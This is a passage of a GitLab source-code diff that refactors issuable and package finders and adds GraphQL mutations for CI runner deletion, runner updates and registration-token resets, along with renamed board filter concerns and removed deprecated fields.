+ def by_assignee(issuables)
+ if filter_by_no_assignee?
+ issuables.unassigned
+ elsif filter_by_any_assignee?
+ issuables.assigned
+ elsif has_assignee_param?(params)
+ filter_by_assignees(issuables)
+ else
+ issuables
+ end
+ end
+
+ def by_assignee_union(issuables)
+ return issuables unless or_filters_enabled? && has_assignee_param?(or_params)
+
+ issuables.assigned_to(assignee_ids(or_params))
+ end
+
+ def by_negated_assignee(issuables)
+ return issuables unless has_assignee_param?(not_params)
+
+ issuables.not_assigned_to(assignee_ids(not_params))
+ end
+
+ def filter_by_no_assignee?
+ params[:assignee_id].to_s.downcase == FILTER_NONE
+ end
+
+ def filter_by_any_assignee?
+ params[:assignee_id].to_s.downcase == FILTER_ANY
+ end
+
+ def filter_by_assignees(issuables)
+ assignee_ids = assignee_ids(params)
+
+ return issuables.none if assignee_ids.blank?
+
+ assignee_ids.each do |assignee_id|
+ issuables = issuables.assigned_to(assignee_id)
+ end
+
+ issuables
+ end
+
+ def has_assignee_param?(specific_params)
+ return if specific_params.nil?
+
+ specific_params[:assignee_ids].present? || specific_params[:assignee_id].present? || specific_params[:assignee_username].present?
+ end
+
+ def assignee_ids(specific_params)
+ if specific_params[:assignee_ids].present?
+ Array(specific_params[:assignee_ids])
+ elsif specific_params[:assignee_id].present?
+ Array(specific_params[:assignee_id])
+ elsif specific_params[:assignee_username].present?
+ User.by_username(specific_params[:assignee_username]).select(:id)
+ end
+ end
+ end
+end
diff --git a/app/finders/issuables/author_filter.rb b/app/finders/issuables/author_filter.rb
index 522751a384e..f36daae553d 100644
--- a/app/finders/issuables/author_filter.rb
+++ b/app/finders/issuables/author_filter.rb
@@ -2,7 +2,7 @@
module Issuables
class AuthorFilter < BaseFilter
- def filter
+ def filter(issuables)
filtered = by_author(issuables)
filtered = by_author_union(filtered)
by_negated_author(filtered)
@@ -21,7 +21,7 @@ module Issuables
end
def by_author_union(issuables)
- return issuables unless or_filters_enabled? && or_params&.fetch(:author_username).present?
+ return issuables unless or_filters_enabled? && or_params&.fetch(:author_username, false).present?
issuables.authored(User.by_username(or_params[:author_username]))
end
diff --git a/app/finders/issuables/base_filter.rb b/app/finders/issuables/base_filter.rb
index 6d1a3f96062..7c607e2d048 100644
--- a/app/finders/issuables/base_filter.rb
+++ b/app/finders/issuables/base_filter.rb
@@ -2,10 +2,12 @@
module Issuables
class BaseFilter
- attr_reader :issuables, :params
+ attr_reader :params
- def initialize(issuables, params:, or_filters_enabled: false)
- @issuables = issuables
+ FILTER_NONE = 'none'
+ FILTER_ANY = 'any'
+
+ def initialize(params:, or_filters_enabled: false)
@params = params
@or_filters_enabled = or_filters_enabled
end
diff --git a/app/finders/issues_finder.rb b/app/finders/issues_finder.rb
index eb9099fe256..40d6730d232 100644
--- a/app/finders/issues_finder.rb
+++ b/app/finders/issues_finder.rb
@@ -52,7 +52,7 @@ class IssuesFinder < IssuableFinder
# can always see confidential issues assigned to them. This is just an
# optimization since a very common usecase of this Finder is to load the
# count of issues assigned to the user for the header bar.
- return Issue.all if current_user && params.assignees.include?(current_user)
+ return Issue.all if current_user && assignee_filter.includes_user?(current_user)
return Issue.where('issues.confidential IS NOT TRUE') if params.user_cannot_see_confidential_issues?
diff --git a/app/finders/packages/group_or_project_package_finder.rb b/app/finders/packages/group_or_project_package_finder.rb
index fb8bcfc7d42..5b5f70bf459 100644
--- a/app/finders/packages/group_or_project_package_finder.rb
+++ b/app/finders/packages/group_or_project_package_finder.rb
@@ -26,9 +26,9 @@ module Packages
def base
if project?
- packages_for_project(@project_or_group)
+ project_packages
elsif group?
- packages_visible_to_user(@current_user, within_group: @project_or_group)
+ group_packages
else
::Packages::Package.none
end
@@ -41,5 +41,13 @@ module Packages
def group?
@project_or_group.is_a?(::Group)
end
+
+ def project_packages
+ packages_for_project(@project_or_group)
+ end
+
+ def group_packages
+ packages_visible_to_user(@current_user, within_group: @project_or_group)
+ end
end
end
diff --git a/app/finders/packages/helm/package_files_finder.rb b/app/finders/packages/helm/package_files_finder.rb
new file mode 100644
index 00000000000..74f9eaaca82
--- /dev/null
+++ b/app/finders/packages/helm/package_files_finder.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Packages
+ module Helm
+ class PackageFilesFinder
+ def initialize(project, channel, params = {})
+ @project = project
+ @channel = channel
+ @params = params
+ end
+
+ def execute
+ package_files = Packages::PackageFile.for_helm_with_channel(@project, @channel).preload_helm_file_metadata
+ by_file_name(package_files)
+ end
+
+ private
+
+ def by_file_name(files)
+ return files unless @params[:file_name]
+
+ files.with_file_name(@params[:file_name])
+ end
+ end
+ end
+end
diff --git a/app/finders/packages/pypi/package_finder.rb b/app/finders/packages/pypi/package_finder.rb
index 574e9770363..3a37e404b79 100644
--- a/app/finders/packages/pypi/package_finder.rb
+++ b/app/finders/packages/pypi/package_finder.rb
@@ -12,6 +12,16 @@ module Packages
def packages
base.pypi.has_version
end
+
+ def group_packages
+ # PyPI finds packages without checking permissions.
+ # The package download endpoint uses obfuscation to secure the file
+ # instead of authentication. This is behavior the PyPI package
+ # manager defines and is not something GitLab controls.
+ ::Packages::Package.for_projects(
+ @project_or_group.all_projects.select(:id)
+ ).installable
+ end
end
end
end
diff --git a/app/finders/pending_todos_finder.rb b/app/finders/pending_todos_finder.rb
index d79a2340379..509370b49a8 100644
--- a/app/finders/pending_todos_finder.rb
+++ b/app/finders/pending_todos_finder.rb
@@ -26,6 +26,7 @@ class PendingTodosFinder
todos = by_project(todos)
todos = by_target_id(todos)
todos = by_target_type(todos)
+ todos = by_discussion(todos)
by_commit_id(todos)
end
@@ -60,4 +61,12 @@ class PendingTodosFinder
todos
end
end
+
+ def by_discussion(todos)
+ if (discussion = params[:discussion])
+ todos.for_note(discussion.notes)
+ else
+ todos
+ end
+ end
end
diff --git a/app/finders/projects/serverless/functions_finder.rb b/app/finders/projects/serverless/functions_finder.rb
index 13f84e0e3a5..f8ccea6b820 100644
--- a/app/finders/projects/serverless/functions_finder.rb
+++ b/app/finders/projects/serverless/functions_finder.rb
@@ -49,7 +49,7 @@ module Projects
def has_prometheus?(environment_scope)
finders_for_scope(environment_scope).any? do |finder|
- finder.cluster.application_prometheus_available?
+ finder.cluster.integration_prometheus_available?
end
end
diff --git a/app/finders/projects_finder.rb b/app/finders/projects_finder.rb
index 272747a124e..582075efc4e 100644
--- a/app/finders/projects_finder.rb
+++ b/app/finders/projects_finder.rb
@@ -14,7 +14,8 @@
# starred: boolean
# sort: string
# visibility_level: int
-# tags: string[]
+# tag: string[] - deprecated, use 'topic' instead
+# topic: string[]
# personal: boolean
# search: string
# search_namespaces: boolean
@@ -37,6 +38,8 @@ class ProjectsFinder < UnionFinder
@params = params
@current_user = current_user
@project_ids_relation = project_ids_relation
+
+ @params[:topic] ||= @params.delete(:tag) if @params[:tag].present?
end
def execute
@@ -76,7 +79,7 @@ class ProjectsFinder < UnionFinder
collection = by_starred(collection)
collection = by_trending(collection)
collection = by_visibility_level(collection)
- collection = by_tags(collection)
+ collection = by_topics(collection)
collection = by_search(collection)
collection = by_archived(collection)
collection = by_custom_attributes(collection)
@@ -176,8 +179,8 @@ class ProjectsFinder < UnionFinder
end
# rubocop: enable CodeReuse/ActiveRecord
- def by_tags(items)
- params[:tag].present? ? items.tagged_with(params[:tag]) : items
+ def by_topics(items)
+ params[:topic].present? ? items.tagged_with(params[:topic]) : items
end
def by_search(items)
diff --git a/app/finders/security/jobs_finder.rb b/app/finders/security/jobs_finder.rb
index e2efb2e18c9..b8649520c20 100644
--- a/app/finders/security/jobs_finder.rb
+++ b/app/finders/security/jobs_finder.rb
@@ -15,7 +15,7 @@ module Security
attr_reader :pipeline
def self.allowed_job_types
- # Example return: [:sast, :dast, :dependency_scanning, :container_scanning, :license_management, :coverage_fuzzing]
+ # Example return: [:sast, :dast, :dependency_scanning, :container_scanning, :license_scanning, :coverage_fuzzing]
raise NotImplementedError, 'allowed_job_types must be overwritten to return an array of job types'
end
diff --git a/app/finders/template_finder.rb b/app/finders/template_finder.rb
index 0f5622f2df0..b82b601541c 100644
--- a/app/finders/template_finder.rb
+++ b/app/finders/template_finder.rb
@@ -21,27 +21,11 @@ class TemplateFinder
end
end
- # This is temporary and will be removed once we introduce group level inherited templates and
- # remove the inherited_issuable_templates FF
- def all_template_names_hash_or_array(project, issuable_type)
- if project.inherited_issuable_templates_enabled?
- all_template_names(project, issuable_type.pluralize)
- else
- all_template_names_array(project, issuable_type.pluralize)
- end
- end
-
def all_template_names(project, type)
return {} if !VENDORED_TEMPLATES.key?(type.to_s) && type.to_s != 'licenses'
build(type, project).template_names
end
-
- # This is for issues and merge requests description templates only.
- # This will be removed once we introduce group level inherited templates and remove the inherited_issuable_templates FF
- def all_template_names_array(project, type)
- all_template_names(project, type).values.flatten.select { |tmpl| tmpl[:project_id] == project.id }.compact.uniq
- end
end
attr_reader :type, :project, :params
diff --git a/app/graphql/gitlab_schema.rb b/app/graphql/gitlab_schema.rb
index 84941fcde02..8e95bd501ff 100644
--- a/app/graphql/gitlab_schema.rb
+++ b/app/graphql/gitlab_schema.rb
@@ -51,9 +51,8 @@ class GitlabSchema < GraphQL::Schema
end
def get_type(type_name)
- # This is a backwards compatibility hack to work around an accidentally
- # released argument typed as EEIterationID
- type_name = type_name.gsub(/^EE/, '') if type_name.end_with?('ID')
+ type_name = Gitlab::GlobalId::Deprecations.apply_to_graphql_name(type_name)
+
super(type_name)
end
@@ -162,10 +161,9 @@ class GitlabSchema < GraphQL::Schema
end
end
- # This is a backwards compatibility hack to work around an accidentally
- # released argument typed as EE{Type}ID
def get_type(type_name)
- type_name = type_name.gsub(/^EE/, '') if type_name.end_with?('ID')
+ type_name = Gitlab::GlobalId::Deprecations.apply_to_graphql_name(type_name)
+
super(type_name)
end
end
diff --git a/app/graphql/mutations/ci/ci_cd_settings_update.rb b/app/graphql/mutations/ci/ci_cd_settings_update.rb
index a484c2438a4..0973e9beae3 100644
--- a/app/graphql/mutations/ci/ci_cd_settings_update.rb
+++ b/app/graphql/mutations/ci/ci_cd_settings_update.rb
@@ -17,6 +17,10 @@ module Mutations
required: false,
description: 'Indicates if the latest artifact should be kept for this project.'
+ argument :job_token_scope_enabled, GraphQL::BOOLEAN_TYPE,
+ required: false,
+ description: 'Indicates CI job tokens generated in this project have restricted access to resources.'
+
field :ci_cd_settings,
Types::Ci::CiCdSettingType,
null: false,
diff --git a/app/graphql/mutations/ci/runner/delete.rb b/app/graphql/mutations/ci/runner/delete.rb
new file mode 100644
index 00000000000..8d9a5f15505
--- /dev/null
+++ b/app/graphql/mutations/ci/runner/delete.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ module Runner
+ class Delete < BaseMutation
+ graphql_name 'RunnerDelete'
+
+ authorize :delete_runner
+
+ RunnerID = ::Types::GlobalIDType[::Ci::Runner]
+
+ argument :id, RunnerID,
+ required: true,
+ description: 'ID of the runner to delete.'
+
+ def resolve(id:, **runner_attrs)
+ runner = authorized_find!(id)
+
+ error = authenticate_delete_runner!(runner)
+ return { errors: [error] } if error
+
+ runner.destroy!
+
+ { errors: runner.errors.full_messages }
+ end
+
+ def authenticate_delete_runner!(runner)
+ return if current_user.can_admin_all_resources?
+
+ "Runner #{runner.to_global_id} associated with more than one project" if runner.projects.count > 1
+ end
+
+ def find_object(id)
+ # TODO: remove this line when the compatibility layer is removed
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
+ id = RunnerID.coerce_isolated_input(id)
+
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/ci/runner/update.rb b/app/graphql/mutations/ci/runner/update.rb
new file mode 100644
index 00000000000..5b61b2ffc0d
--- /dev/null
+++ b/app/graphql/mutations/ci/runner/update.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ module Runner
+ class Update < BaseMutation
+ graphql_name 'RunnerUpdate'
+
+ authorize :update_runner
+
+ RunnerID = ::Types::GlobalIDType[::Ci::Runner]
+
+ argument :id, RunnerID,
+ required: true,
+ description: 'ID of the runner to update.'
+
+ argument :description, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Description of the runner.'
+
+ argument :maximum_timeout, GraphQL::INT_TYPE,
+ required: false,
+ description: 'Maximum timeout (in seconds) for jobs processed by the runner.'
+
+ argument :access_level, ::Types::Ci::RunnerAccessLevelEnum,
+ required: false,
+ description: 'Access level of the runner.'
+
+ argument :active, GraphQL::BOOLEAN_TYPE,
+ required: false,
+ description: 'Indicates the runner is allowed to receive jobs.'
+
+ argument :locked, GraphQL::BOOLEAN_TYPE, required: false,
+ description: 'Indicates the runner is locked.'
+
+ argument :run_untagged, GraphQL::BOOLEAN_TYPE,
+ required: false,
+ description: 'Indicates the runner is able to run untagged jobs.'
+
+ argument :tag_list, [GraphQL::STRING_TYPE], required: false,
+ description: 'Tags associated with the runner.'
+
+ field :runner,
+ Types::Ci::RunnerType,
+ null: true,
+ description: 'The runner after mutation.'
+
+ def resolve(id:, **runner_attrs)
+ runner = authorized_find!(id)
+
+ unless ::Ci::UpdateRunnerService.new(runner).update(runner_attrs)
+ return { runner: nil, errors: runner.errors.full_messages }
+ end
+
+ { runner: runner, errors: [] }
+ end
+
+ def find_object(id)
+ # TODO: remove this line when the compatibility layer is removed
+ # See: https://gitlab.com/gitlab-org/gitlab/-/issues/257883
+ id = RunnerID.coerce_isolated_input(id)
+
+ GitlabSchema.find_by_gid(id)
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/ci/runners_registration_token/reset.rb b/app/graphql/mutations/ci/runners_registration_token/reset.rb
new file mode 100644
index 00000000000..e1cdd9a22a5
--- /dev/null
+++ b/app/graphql/mutations/ci/runners_registration_token/reset.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module Mutations
+ module Ci
+ module RunnersRegistrationToken
+ class Reset < BaseMutation
+ graphql_name 'RunnersRegistrationTokenReset'
+
+ authorize :update_runners_registration_token
+
+ ScopeID = ::GraphQL::ID_TYPE
+
+ argument :type, ::Types::Ci::RunnerTypeEnum,
+ required: true,
+ description: 'Scope of the object to reset the token for.'
+
+ argument :id, ScopeID,
+ required: false,
+ description: 'ID of the project or group to reset the token for. Omit if resetting instance runner token.'
+
+ field :token,
+ GraphQL::STRING_TYPE,
+ null: true,
+ description: 'The runner token after mutation.'
+
+ def resolve(**args)
+ {
+ token: reset_token(**args),
+ errors: []
+ }
+ end
+
+ private
+
+ def find_object(type:, **args)
+ id = args[:id]
+
+ case type
+ when 'group_type'
+ GitlabSchema.object_from_id(id, expected_type: ::Group)
+ when 'project_type'
+ GitlabSchema.object_from_id(id, expected_type: ::Project)
+ end
+ end
+
+ def reset_token(type:, **args)
+ id = args[:id]
+
+ case type
+ when 'instance_type'
+ raise Gitlab::Graphql::Errors::ArgumentError, "id must not be specified for '#{type}' scope" if id.present?
+
+ authorize!(:global)
+
+ ApplicationSetting.current.reset_runners_registration_token!
+ ApplicationSetting.current_without_cache.runners_registration_token
+ when 'group_type', 'project_type'
+ project_or_group = authorized_find!(type: type, id: id)
+ project_or_group.reset_runners_token!
+ project_or_group.runners_token
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/mutations/commits/create.rb b/app/graphql/mutations/commits/create.rb
index 2e06e1ea0c4..f432f679909 100644
--- a/app/graphql/mutations/commits/create.rb
+++ b/app/graphql/mutations/commits/create.rb
@@ -44,6 +44,11 @@ module Mutations
null: true,
description: 'The commit after mutation.'
+ field :content,
+ [GraphQL::STRING_TYPE],
+ null: true,
+ description: 'Contents of the commit.'
+
authorize :push_code
def resolve(project_path:, branch:, message:, actions:, **args)
@@ -59,6 +64,7 @@ module Mutations
result = ::Files::MultiService.new(project, current_user, attributes).execute
{
+ content: actions.pluck(:content), # rubocop:disable CodeReuse/ActiveRecord because actions is an Array, not a Relation
commit: (project.repository.commit(result[:result]) if result[:status] == :success),
commit_pipeline_path: UrlHelpers.new.graphql_etag_pipeline_sha_path(result[:result]),
errors: Array.wrap(result[:message])
diff --git a/app/graphql/mutations/concerns/mutations/resolves_subscription.rb b/app/graphql/mutations/concerns/mutations/resolves_subscription.rb
index e26ae7d228c..ed9fb5fceb0 100644
--- a/app/graphql/mutations/concerns/mutations/resolves_subscription.rb
+++ b/app/graphql/mutations/concerns/mutations/resolves_subscription.rb
@@ -3,6 +3,7 @@
module Mutations
module ResolvesSubscription
extend ActiveSupport::Concern
+
included do
argument :subscribed_state,
GraphQL::BOOLEAN_TYPE,
diff --git a/app/graphql/mutations/issues/set_subscription.rb b/app/graphql/mutations/issues/set_subscription.rb
index a04c8f5ba2d..55c9049b7cf 100644
--- a/app/graphql/mutations/issues/set_subscription.rb
+++ b/app/graphql/mutations/issues/set_subscription.rb
@@ -2,10 +2,32 @@
module Mutations
module Issues
- class SetSubscription < Base
+ class SetSubscription < BaseMutation
graphql_name 'IssueSetSubscription'
include ResolvesSubscription
+ include Mutations::ResolvesIssuable
+
+ argument :project_path, GraphQL::ID_TYPE,
+ required: true,
+ description: "The project the issue to mutate is in."
+
+ argument :iid, GraphQL::STRING_TYPE,
+ required: true,
+ description: "The IID of the issue to mutate."
+
+ field :issue,
+ Types::IssueType,
+ null: true,
+ description: "The issue after mutation."
+
+ authorize :update_subscription
+
+ private
+
+ def find_object(project_path:, iid:)
+ resolve_issuable(type: :issue, parent_path: project_path, iid: iid)
+ end
end
end
end
diff --git a/app/graphql/mutations/labels/create.rb b/app/graphql/mutations/labels/create.rb
index 4da628d53ea..683d0b44586 100644
--- a/app/graphql/mutations/labels/create.rb
+++ b/app/graphql/mutations/labels/create.rb
@@ -20,10 +20,6 @@ module Mutations
required: false,
description: 'Description of the label.'
- argument :remove_on_close, GraphQL::BOOLEAN_TYPE,
- required: false,
- description: copy_field_description(Types::LabelType, :remove_on_close)
-
argument :color, GraphQL::STRING_TYPE,
required: false,
default_value: Label::DEFAULT_COLOR,
diff --git a/app/graphql/mutations/merge_requests/set_subscription.rb b/app/graphql/mutations/merge_requests/set_subscription.rb
index 7d3c40185c9..981daa81c28 100644
--- a/app/graphql/mutations/merge_requests/set_subscription.rb
+++ b/app/graphql/mutations/merge_requests/set_subscription.rb
@@ -2,10 +2,32 @@
module Mutations
module MergeRequests
- class SetSubscription < Base
+ class SetSubscription < BaseMutation
graphql_name 'MergeRequestSetSubscription'
include ResolvesSubscription
+ include Mutations::ResolvesIssuable
+
+ argument :project_path, GraphQL::ID_TYPE,
+ required: true,
+ description: "The project the merge request to mutate is in."
+
+ argument :iid, GraphQL::STRING_TYPE,
+ required: true,
+ description: "The IID of the merge request to mutate."
+
+ field :merge_request,
+ Types::MergeRequestType,
+ null: true,
+ description: "The merge request after mutation."
+
+ authorize :update_subscription
+
+ private
+
+ def find_object(project_path:, iid:)
+ resolve_issuable(type: :merge_request, parent_path: project_path, iid: iid)
+ end
end
end
end
diff --git a/app/graphql/mutations/snippets/create.rb b/app/graphql/mutations/snippets/create.rb
index e9b45294659..d1ad0697acd 100644
--- a/app/graphql/mutations/snippets/create.rb
+++ b/app/graphql/mutations/snippets/create.rb
@@ -49,7 +49,7 @@ module Mutations
process_args_for_params!(args)
- service_response = ::Snippets::CreateService.new(project, current_user, args).execute
+ service_response = ::Snippets::CreateService.new(project: project, current_user: current_user, params: args).execute
# Only when the user is not an api user and the operation was successful
if !api_user? && service_response.success?
diff --git a/app/graphql/mutations/snippets/update.rb b/app/graphql/mutations/snippets/update.rb
index b9b9b13eebb..2e1382e1cb1 100644
--- a/app/graphql/mutations/snippets/update.rb
+++ b/app/graphql/mutations/snippets/update.rb
@@ -34,7 +34,7 @@ module Mutations
process_args_for_params!(args)
- service_response = ::Snippets::UpdateService.new(snippet.project, current_user, args).execute(snippet)
+ service_response = ::Snippets::UpdateService.new(project: snippet.project, current_user: current_user, params: args).execute(snippet)
# TODO: DRY this up - From here down, this is all duplicated with Mutations::Snippets::Create#resolve, except for
# `snippet.reset`, which is required in order to return the object in its non-dirty, unmodified, database state
diff --git a/app/graphql/mutations/todos/mark_all_done.rb b/app/graphql/mutations/todos/mark_all_done.rb
index 22a5893d4ec..7dd06cc8293 100644
--- a/app/graphql/mutations/todos/mark_all_done.rb
+++ b/app/graphql/mutations/todos/mark_all_done.rb
@@ -7,12 +7,6 @@ module Mutations
authorize :update_user
- field :updated_ids,
- [::Types::GlobalIDType[::Todo]],
- null: false,
- deprecated: { reason: 'Use to-do items', milestone: '13.2' },
- description: 'IDs of the updated to-do items.'
-
field :todos, [::Types::TodoType],
null: false,
description: 'Updated to-do items.'
@@ -23,7 +17,6 @@ module Mutations
updated_ids = mark_all_todos_done
{
- updated_ids: updated_ids,
todos: Todo.id_in(updated_ids),
errors: []
}
diff --git a/app/graphql/mutations/todos/restore_many.rb b/app/graphql/mutations/todos/restore_many.rb
index 41ccbd77aa6..b09c59a3435 100644
--- a/app/graphql/mutations/todos/restore_many.rb
+++ b/app/graphql/mutations/todos/restore_many.rb
@@ -12,11 +12,6 @@ module Mutations
required: true,
description: 'The global IDs of the to-do items to restore (a maximum of 50 is supported at once).'
- field :updated_ids, [::Types::GlobalIDType[Todo]],
- null: false,
- description: 'The IDs of the updated to-do items.',
- deprecated: { reason: 'Use to-do items', milestone: '13.2' }
-
field :todos, [::Types::TodoType],
null: false,
description: 'Updated to-do items.'
diff --git a/app/graphql/resolvers/board_list_issues_resolver.rb b/app/graphql/resolvers/board_list_issues_resolver.rb
index 29e66a59a15..dac93b91469 100644
--- a/app/graphql/resolvers/board_list_issues_resolver.rb
+++ b/app/graphql/resolvers/board_list_issues_resolver.rb
@@ -2,7 +2,7 @@
module Resolvers
class BoardListIssuesResolver < BaseResolver
- include BoardIssueFilterable
+ include BoardItemFilterable
argument :filters, Types::Boards::BoardIssueInputType,
required: false,
@@ -13,7 +13,7 @@ module Resolvers
alias_method :list, :object
def resolve(**args)
- filter_params = issue_filters(args[:filters]).merge(board_id: list.board.id, id: list.id)
+ filter_params = item_filters(args[:filters]).merge(board_id: list.board.id, id: list.id)
service = ::Boards::Issues::ListService.new(list.board.resource_parent, context[:current_user], filter_params)
offset_pagination(service.execute)
diff --git a/app/graphql/resolvers/board_lists_resolver.rb b/app/graphql/resolvers/board_lists_resolver.rb
index 0b699006626..4dae3b4a9d1 100644
--- a/app/graphql/resolvers/board_lists_resolver.rb
+++ b/app/graphql/resolvers/board_lists_resolver.rb
@@ -2,7 +2,7 @@
module Resolvers
class BoardListsResolver < BaseResolver
- include BoardIssueFilterable
+ include BoardItemFilterable
include Gitlab::Graphql::Authorize::AuthorizeResource
include LooksAhead
@@ -22,7 +22,7 @@ module Resolvers
def resolve_with_lookahead(id: nil, issue_filters: {})
lists = board_lists(id)
- context.scoped_set!(:issue_filters, issue_filters(issue_filters))
+ context.scoped_set!(:issue_filters, item_filters(issue_filters))
List.preload_preferences_for_user(lists, current_user) if load_preferences?
diff --git a/app/graphql/resolvers/ci/runners_resolver.rb b/app/graphql/resolvers/ci/runners_resolver.rb
index 710706325cc..3ad1e2780dd 100644
--- a/app/graphql/resolvers/ci/runners_resolver.rb
+++ b/app/graphql/resolvers/ci/runners_resolver.rb
@@ -17,6 +17,10 @@ module Resolvers
required: false,
description: 'Filter by tags associated with the runner (comma-separated or array).'
+ argument :search, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Filter by full token or partial text in description field.'
+
argument :sort, ::Types::Ci::RunnerSortEnum,
required: false,
description: 'Sort order of results.'
diff --git a/app/graphql/resolvers/concerns/board_issue_filterable.rb b/app/graphql/resolvers/concerns/board_issue_filterable.rb
deleted file mode 100644
index 88de69a3844..00000000000
--- a/app/graphql/resolvers/concerns/board_issue_filterable.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-module BoardIssueFilterable
- extend ActiveSupport::Concern
-
- private
-
- def issue_filters(args)
- filters = args.to_h
-
- set_filter_values(filters)
-
- if filters[:not]
- set_filter_values(filters[:not])
- end
-
- filters
- end
-
- def set_filter_values(filters)
- filter_by_assignee(filters)
- end
-
- def filter_by_assignee(filters)
- if filters[:assignee_username] && filters[:assignee_wildcard_id]
- raise ::Gitlab::Graphql::Errors::ArgumentError, 'Incompatible arguments: assigneeUsername, assigneeWildcardId.'
- end
-
- if filters[:assignee_wildcard_id]
- filters[:assignee_id] = filters.delete(:assignee_wildcard_id)
- end
- end
-end
-
-::BoardIssueFilterable.prepend_mod_with('Resolvers::BoardIssueFilterable')
diff --git a/app/graphql/resolvers/concerns/board_item_filterable.rb b/app/graphql/resolvers/concerns/board_item_filterable.rb
new file mode 100644
index 00000000000..1457a02e44f
--- /dev/null
+++ b/app/graphql/resolvers/concerns/board_item_filterable.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module BoardItemFilterable
+ extend ActiveSupport::Concern
+
+ private
+
+ def item_filters(args)
+ filters = args.to_h
+
+ set_filter_values(filters)
+
+ if filters[:not]
+ set_filter_values(filters[:not])
+ end
+
+ filters
+ end
+
+ def set_filter_values(filters)
+ filter_by_assignee(filters)
+ end
+
+ def filter_by_assignee(filters)
+ if filters[:assignee_username] && filters[:assignee_wildcard_id]
+ raise ::Gitlab::Graphql::Errors::ArgumentError, 'Incompatible arguments: assigneeUsername, assigneeWildcardId.'
+ end
+
+ if filters[:assignee_wildcard_id]
+ filters[:assignee_id] = filters.delete(:assignee_wildcard_id)
+ end
+ end
+end
+
+::BoardItemFilterable.prepend_mod_with('Resolvers::BoardItemFilterable')
diff --git a/app/graphql/resolvers/concerns/time_frame_arguments.rb b/app/graphql/resolvers/concerns/time_frame_arguments.rb
index 6cac46a71d2..0ec3c642f29 100644
--- a/app/graphql/resolvers/concerns/time_frame_arguments.rb
+++ b/app/graphql/resolvers/concerns/time_frame_arguments.rb
@@ -39,4 +39,12 @@ module TimeFrameArguments
raise Gitlab::Graphql::Errors::ArgumentError, error_message
end
end
+
+ def transform_timeframe_parameters(args)
+ if args[:timeframe]
+ args[:timeframe].transform_keys { |k| :"#{k}_date" }
+ else
+ args.slice(:start_date, :end_date)
+ end
+ end
end
diff --git a/app/graphql/resolvers/milestones_resolver.rb b/app/graphql/resolvers/milestones_resolver.rb
index c94e3d9e1d8..1241b41501d 100644
--- a/app/graphql/resolvers/milestones_resolver.rb
+++ b/app/graphql/resolvers/milestones_resolver.rb
@@ -44,15 +44,7 @@ module Resolvers
title: args[:title],
search_title: args[:search_title],
containing_date: args[:containing_date]
- }.merge!(timeframe_parameters(args)).merge!(parent_id_parameters(args))
- end
-
- def timeframe_parameters(args)
- if args[:timeframe]
- args[:timeframe].transform_keys { |k| :"#{k}_date" }
- else
- args.slice(:start_date, :end_date)
- end
+ }.merge!(transform_timeframe_parameters(args)).merge!(parent_id_parameters(args))
end
def parent
diff --git a/app/graphql/resolvers/projects/services_resolver.rb b/app/graphql/resolvers/projects/services_resolver.rb
index db3037ec591..3674aa97e1f 100644
--- a/app/graphql/resolvers/projects/services_resolver.rb
+++ b/app/graphql/resolvers/projects/services_resolver.rb
@@ -12,19 +12,19 @@ module Resolvers
argument :active,
GraphQL::BOOLEAN_TYPE,
required: false,
- description: 'Indicates if the service is active.'
+ description: 'Indicates if the integration is active.'
argument :type,
Types::Projects::ServiceTypeEnum,
required: false,
- description: 'Class name of the service.'
+ description: 'Type of integration.'
alias_method :project, :object
def resolve(active: nil, type: nil)
- servs = project.integrations
- servs = servs.by_active_flag(active) unless active.nil?
- servs = servs.by_type(type) unless type.blank?
- servs
+ items = project.integrations
+ items = items.by_active_flag(active) unless active.nil?
+ items = items.by_type(type) unless type.blank?
+ items
end
end
end
diff --git a/app/graphql/resolvers/projects_resolver.rb b/app/graphql/resolvers/projects_resolver.rb
index 11d18a0a080..665ec796cd3 100644
--- a/app/graphql/resolvers/projects_resolver.rb
+++ b/app/graphql/resolvers/projects_resolver.rb
@@ -24,6 +24,10 @@ module Resolvers
required: false,
description: 'Sort order of results.'
+ argument :topics, type: [GraphQL::STRING_TYPE],
+ required: false,
+ description: 'Filters projects by topics.'
+
def resolve(**args)
ProjectsFinder
.new(current_user: current_user, params: project_finder_params(args), project_ids_relation: parse_gids(args[:ids]))
@@ -38,7 +42,8 @@ module Resolvers
non_public: params[:membership],
search: params[:search],
search_namespaces: params[:search_namespaces],
- sort: params[:sort]
+ sort: params[:sort],
+ topic: params[:topics]
}.compact
end
diff --git a/app/graphql/resolvers/timelog_resolver.rb b/app/graphql/resolvers/timelog_resolver.rb
index aebd04259ee..8ac30c4cb5d 100644
--- a/app/graphql/resolvers/timelog_resolver.rb
+++ b/app/graphql/resolvers/timelog_resolver.rb
@@ -7,106 +7,88 @@ module Resolvers
type ::Types::TimelogType.connection_type, null: false
argument :start_date, Types::TimeType,
- required: false,
- description: 'List time logs within a date range where the logged date is equal to or after startDate.'
+ required: false,
+ description: 'List time logs within a date range where the logged date is equal to or after startDate.'
argument :end_date, Types::TimeType,
- required: false,
- description: 'List time logs within a date range where the logged date is equal to or before endDate.'
+ required: false,
+ description: 'List time logs within a date range where the logged date is equal to or before endDate.'
argument :start_time, Types::TimeType,
- required: false,
- description: 'List time-logs within a time range where the logged time is equal to or after startTime.'
+ required: false,
+ description: 'List time-logs within a time range where the logged time is equal to or after startTime.'
argument :end_time, Types::TimeType,
- required: false,
- description: 'List time-logs within a time range where the logged time is equal to or before endTime.'
+ required: false,
+ description: 'List time-logs within a time range where the logged time is equal to or before endTime.'
def resolve_with_lookahead(**args)
- return Timelog.none unless timelogs_available_for_user?
+ build_timelogs
- validate_params_presence!(args)
- transformed_args = transform_args(args)
- validate_time_difference!(transformed_args)
+ if args.any?
+ validate_args!(args)
+ build_parsed_args(args)
